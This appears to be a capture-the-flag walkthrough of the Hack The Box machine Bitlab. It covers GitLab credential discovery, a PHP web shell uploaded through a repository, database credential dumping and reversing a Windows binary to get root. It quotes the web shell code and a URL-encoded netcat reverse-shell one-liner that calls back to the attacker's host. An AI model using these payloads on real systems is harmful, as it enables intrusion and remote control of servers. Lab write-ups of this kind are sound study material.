Hack The Box - Bitlab

Quick Summary

Hey guys, today Bitlab retired and here’s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. It’s a Linux box and its ip is 10.10.10.114 , I added it to /etc/hosts as bitlab.htb . Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

root@kali:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 13:44 EST

Nmap scan report for bitlab.htb (10.10.10.114)

Host is up (0.14s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)

| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)

|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)

80/tcp open http nginx

| http-robots.txt: 55 disallowed entries (15 shown)

| / /autocomplete/users /search /api /admin /profile

| /dashboard /projects/new /groups/new /groups/*/edit /users /help

|_/s/ /snippets/new /snippets/*/edit

| http-title: Sign in \xC2\xB7 GitLab

|_Requested resource was http://bitlab.htb/users/sign_in

|_http-trane-info: Problem with XML parsing of /evox/about

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 31.56 seconds

root@kali:~/Desktop/HTB/boxes/bitlab#



We got http on port 80 and ssh on port 22, robots.txt existed on the web server and it had a lot of entries.

Web Enumeration

Gitlab was running on the web server and we need credentials:



I checked /robots.txt to see if there was anything interesting:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

root@kali:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt [18/43]

# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file

#

# To ban all spiders from the entire site uncomment the next two lines:

# User-Agent: *

# Disallow: /



# Add a 1 second delay between successive requests to the same server, limits resources used by crawler

# Only some crawlers respect this setting, e.g. Googlebot does not

# Crawl-delay: 1



# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application

User-Agent: *

Disallow: /autocomplete/users

Disallow: /search

Disallow: /api

Disallow: /admin

Disallow: /profile

Disallow: /dashboard

Disallow: /projects/new

Disallow: /groups/new

Disallow: /groups/*/edit

Disallow: /users

Disallow: /help

# Only specifically allow the Sign In page to avoid very ugly search results

Allow: /users/sign_in



# Global snippets

User-Agent: *

Disallow: /s/

Disallow: /snippets/new

Disallow: /snippets/*/edit

Disallow: /snippets/*/raw



# Project details

User-Agent: *

Disallow: /*/*.git

Disallow: /*/*/fork/new

Disallow: /*/*/repository/archive*

Disallow: /*/*/activity

Disallow: /*/*/new

Disallow: /*/*/edit

Disallow: /*/*/raw

Disallow: /*/*/blame

Disallow: /*/*/commits/*/*

Disallow: /*/*/commit/*.patch

Disallow: /*/*/commit/*.diff

Disallow: /*/*/compare

Disallow: /*/*/branches/new

Disallow: /*/*/tags/new

Disallow: /*/*/network

Disallow: /*/*/graphs

Disallow: /*/*/milestones/new

Disallow: /*/*/milestones/*/edit

Disallow: /*/*/issues/new

Disallow: /*/*/issues/*/edit

Disallow: /*/*/merge_requests/new

Disallow: /*/*/merge_requests/*.patch

Disallow: /*/*/merge_requests/*.diff

Disallow: /*/*/merge_requests/*/edit

Disallow: /*/*/merge_requests/*/diffs

Disallow: /*/*/project_members/import

Disallow: /*/*/labels/new

Disallow: /*/*/labels/*/edit

Disallow: /*/*/wikis/*/edit

Disallow: /*/*/snippets/new

Disallow: /*/*/snippets/*/edit

Disallow: /*/*/snippets/*/raw

Disallow: /*/*/deploy_keys

Disallow: /*/*/hooks

Disallow: /*/*/services

Disallow: /*/*/protected_branches

Disallow: /*/*/uploads/

Disallow: /*/-/group_members

Disallow: /*/project_members

root@kali:~/Desktop/HTB/boxes/bitlab#



Most of the disallowed entries were paths related to the Gitlab application. I checked /help and found a page called bookmarks.html :



There was an interesting link called Gitlab Login :



Clicking on that link didn’t result in anything, so I checked the source of the page, the href attribute had some javascript code:

1

< DT > < A HREF = "javascript:(function(){ var _0x4b18=[ " \x76\x61\x6C\x75\x65 " , " \x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E " , " \x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64 " , " \x63\x6C\x61\x76\x65 " , " \x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64 " , " \x31\x31\x64\x65\x73\x30\x30\x38\x31\x78 " ];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE = "1554932142" > Gitlab Login </ A >



I took that code, edited it a little bit and used the js console to execute it:

1

2

3

4

5

root@kali:~/Desktop/HTB/boxes/bitlab# js

> var _0x4b18=[ '\x76\x61\x6C\x75\x65' , '\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E' , '\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64' , '\x63\x6C\x61\x76\x65' , '\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64' , '\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78' ]; document [_0x4b18[ 2 ]](_0x4b18[ 1 ])[_0x4b18[ 0 ]]= _0x4b18[ 3 ]; document [_0x4b18[ 2 ]](_0x4b18[ 4 ])[_0x4b18[ 0 ]]= _0x4b18[ 5 ];

Thrown:

ReferenceError : document is not defined

>



Then I printed the variable _0x4b18 which had the credentials for Gitlab :

1

2

3

4

5

6

7

8

> _0x4b18

[ 'value' ,

'user_login' ,

'getElementById' ,

'clave' ,

'user_password' ,

'11des0081x' ]

>



File Upload –> RCE –> Shell as www-data

After logging in with the credentials ( clave : 11des0081x ) I found two repositories, Profile and Deployer :





I also checked the snippets and I found an interesting code snippet that had the database credentials which will be useful later:



1

2

3



$db_connection = pg_connect( "host=localhost dbname=profiles user=profiles password=profiles" );

$result = pg_query($db_connection, "SELECT * FROM profiles" );



Back to the repositories, I checked Profile and it was pretty empty:



The path /profile was one of the disallowed entries in /robots.txt , I wanted to check if that path was related to the repository, so I checked if the same image ( developer.jpg ) existed, and it did:





Now we can simply upload a php shell and access it through /profile , I uploaded the php-simple-backdoor :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

<!-- Simple PHP backdoor by DK (http:







if ( isset ($_REQUEST[ 'cmd' ])){

echo "<pre>" ;

$cmd = ($_REQUEST[ 'cmd' ]);

system($cmd);

echo "</pre>" ;

die ;

}







Usage: http:



<!-- http:





Then I merged it to the master branch:





I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a shell, had to urlencode it first:

1

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff



1

2

3

4

5

6

7

8

9

10

11

12

13

14

root@kali:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337

listening on [any] 1337 ...

connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.114] 44340

/bin/sh: 0: can't access tty; job control turned off

$ which python

/usr/bin/python

$ python -c "import pty;pty.spawn('/bin/bash')"

www-data@bitlab:/var/www/html/profile$ ^Z

[1]+ Stopped nc -lvnp 1337

root@kali:~/Desktop/HTB/boxes/bitlab# stty raw -echo

root@kali:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337



www-data@bitlab:/var/www/html/profile$ export TERM=screen

www-data@bitlab:/var/www/html/profile$



Database Access –> Clave’s Password –> SSH as Clave –> User Flag

After getting a shell as www-data I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql wasn’t installed:

1

2

3

www-data@bitlab:/var/www/html/profile$ psql

bash: psql: command not found

www-data@bitlab:/var/www/html/profile$



So I had to do it with php :

1

2

3

4

www-data@bitlab:/ var /www/html/profile$ php -a

Interactive mode enabled



php > $connection = new PDO( 'pgsql:host=localhost;dbname=profiles' , 'profiles' , 'profiles' );



I executed the same query from the code snippet which queried everything from the table profiles , and I got clave’s password which I could use to get ssh access:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

php > $result = $connection->query( "SELECT * FROM profiles" );

php > $profiles = $result->fetchAll();

php > print_r($profiles);

Array

(

[ 0 ] => Array

(

[id] => 1

[ 0 ] => 1

[username] => clave

[ 1 ] => clave

[password] => c3NoLXN0cjBuZy1wQHNz==

[ 2 ] => c3NoLXN0cjBuZy1wQHNz==

)



)

php >





We owned user.

Reversing RemoteConnection.exe –> Root’s Password –> SSH as Root –> Root Flag

In the home directory of clave there was a Windows executable called RemoteConnection.exe :

1

2

3

4

5

6

7

8

9

10

11

12

clave@bitlab:~$ ls -la

total 44

drwxr-xr-x 4 clave clave 4096 Aug 8 14:40 .

drwxr-xr-x 3 root root 4096 Feb 28 2019 ..

lrwxrwxrwx 1 root root 9 Feb 28 2019 .bash_history -> /dev/null

-rw-r--r-- 1 clave clave 3771 Feb 28 2019 .bashrc

drwx------ 2 clave clave 4096 Aug 8 14:40 .cache

drwx------ 3 clave clave 4096 Aug 8 14:40 .gnupg

-rw-r--r-- 1 clave clave 807 Feb 28 2019 .profile

-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe

-r-------- 1 clave clave 33 Feb 28 2019 user.txt

clave@bitlab:~$



I downloaded it on my box:

1

2

3

4

root@kali:~/Desktop/HTB/boxes/bitlab# scp clave@bitlab.htb:/home/clave/RemoteConnection.exe ./

clave@bitlab.htb's password:

RemoteConnection.exe 100% 14KB 16.5KB/s 00:00

root@kali:~/Desktop/HTB/boxes/bitlab#



Then I started looking at the code decompilation with Ghidra . One function that caught my attention was FUN_00401520() :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97







void FUN_00401520 ( void )



{

LPCWSTR pWVar1;

undefined4 ***pppuVar2;

LPCWSTR lpParameters;

undefined4 ***pppuVar3;

int **in_FS_OFFSET;

uint in_stack_ffffff44;

undefined4 *puVar4;

uint uStack132;

undefined *local_74;

undefined *local_70;

wchar_t *local_6c;

void *local_68 [ 4 ];

undefined4 local_58;

uint local_54;

void *local_4c [ 4 ];

undefined4 local_3c;

uint local_38;

undefined4 ***local_30 [ 4 ];

int local_20;

uint local_1c;

uint local_14;

int *local_10;

undefined *puStack12;

undefined4 local_8;



local_8 = 0xffffffff ;

puStack12 = &LAB_004028e0;

local_10 = *in_FS_OFFSET;

uStack132 = DAT_00404018 ^ (uint)&stack0xfffffffc;

*( int ***)in_FS_OFFSET = &local_10;

local_6c = ( wchar_t *) 0x4 ;

local_14 = uStack132;

GetUserNameW((LPWSTR) 0x4 ,(LPDWORD)&local_6c);

local_38 = 0xf ;

local_3c = 0 ;

local_4c[ 0 ] = ( void *)((uint)local_4c[ 0 ] & 0xffffff00 );

FUN_004018f0();

local_8 = 0 ;

FUN_00401260(local_68,local_4c);

local_74 = &stack0xffffff60;

local_8._0_1_ = 1 ;

FUN_004018f0();

local_70 = &stack0xffffff44;

local_8._0_1_ = 2 ;

puVar4 = (undefined4 *)(in_stack_ffffff44 & 0xffffff00 );

FUN_00401710(local_68);

local_8._0_1_ = 1 ;

FUN_00401040(puVar4);

local_8 = CONCAT31(local_8._1_3_, 3 );

lpParameters = (LPCWSTR)FUN_00401e6d();

pppuVar3 = local_30[ 0 ];

if (local_1c < 0x10 ) {

pppuVar3 = local_30;

}

pWVar1 = lpParameters;

pppuVar2 = local_30[ 0 ];

if (local_1c < 0x10 ) {

pppuVar2 = local_30;

}

while (pppuVar2 != (undefined4 ***)(local_20 + ( int )pppuVar3)) {

*pWVar1 = (short)*( char *)pppuVar2;

pWVar1 = pWVar1 + 1 ;

pppuVar2 = (undefined4 ***)(( int )pppuVar2 + 1 );

}

lpParameters[local_20] = L'\0' ;

if (local_6c == L"clave" ) {

ShellExecuteW((HWND) 0x0 , L"open" , L"C:\\Program Files\\PuTTY\\putty.exe" ,lpParameters,(LPCWSTR) 0x0

, 10 );

}

else {

FUN_00401c20(( int *)cout_exref);

}

if ( 0xf < local_1c) {

operator_delete(local_30[ 0 ]);

}

local_1c = 0xf ;

local_20 = 0 ;

local_30[ 0 ] = (undefined4 ***)((uint)local_30[ 0 ] & 0xffffff00 );

if ( 0xf < local_54) {

operator_delete(local_68[ 0 ]);

}

local_54 = 0xf ;

local_58 = 0 ;

local_68[ 0 ] = ( void *)((uint)local_68[ 0 ] & 0xffffff00 );

if ( 0xf < local_38) {

operator_delete(local_4c[ 0 ]);

}

*in_FS_OFFSET = local_10;

FUN_00401e78();

return ;

}



It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY with some parameters that I couldn’t see:

1

2

3

4

if (local_6c == L"clave" ) {

ShellExecuteW((HWND) 0x0 , L"open" , L"C:\\Program Files\\PuTTY\\putty.exe" ,lpParameters,(LPCWSTR) 0x0

, 10 );

}



This is how the same part looked like in IDA :



I copied the executable to a Windows machine and I tried to run it, however it just kept crashing.

I opened it in immunity debugger to find out what was happening, and I found an access violation:



It happened before reaching the function I’m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOP s.

I had to set a breakpoint before the cmp instruction, so I searched for the word “clave” in the referenced text strings and I followed it in the disassembler:





Then I executed the program and whenever I hit an access violation I replaced the instructions with NOP s, it happened twice then I reached my breakpoint:



After reaching the breakpoint I could see the parameters that the program gives to putty.exe in both eax and ebx , It was starting an ssh session as root and I could see the password:



1

2

EAX 00993E80 UNICODE "-ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""

EBX 00993DA0 ASCII "-ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""





And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Craft

Next Hack The Box write-up : Hack The Box - Player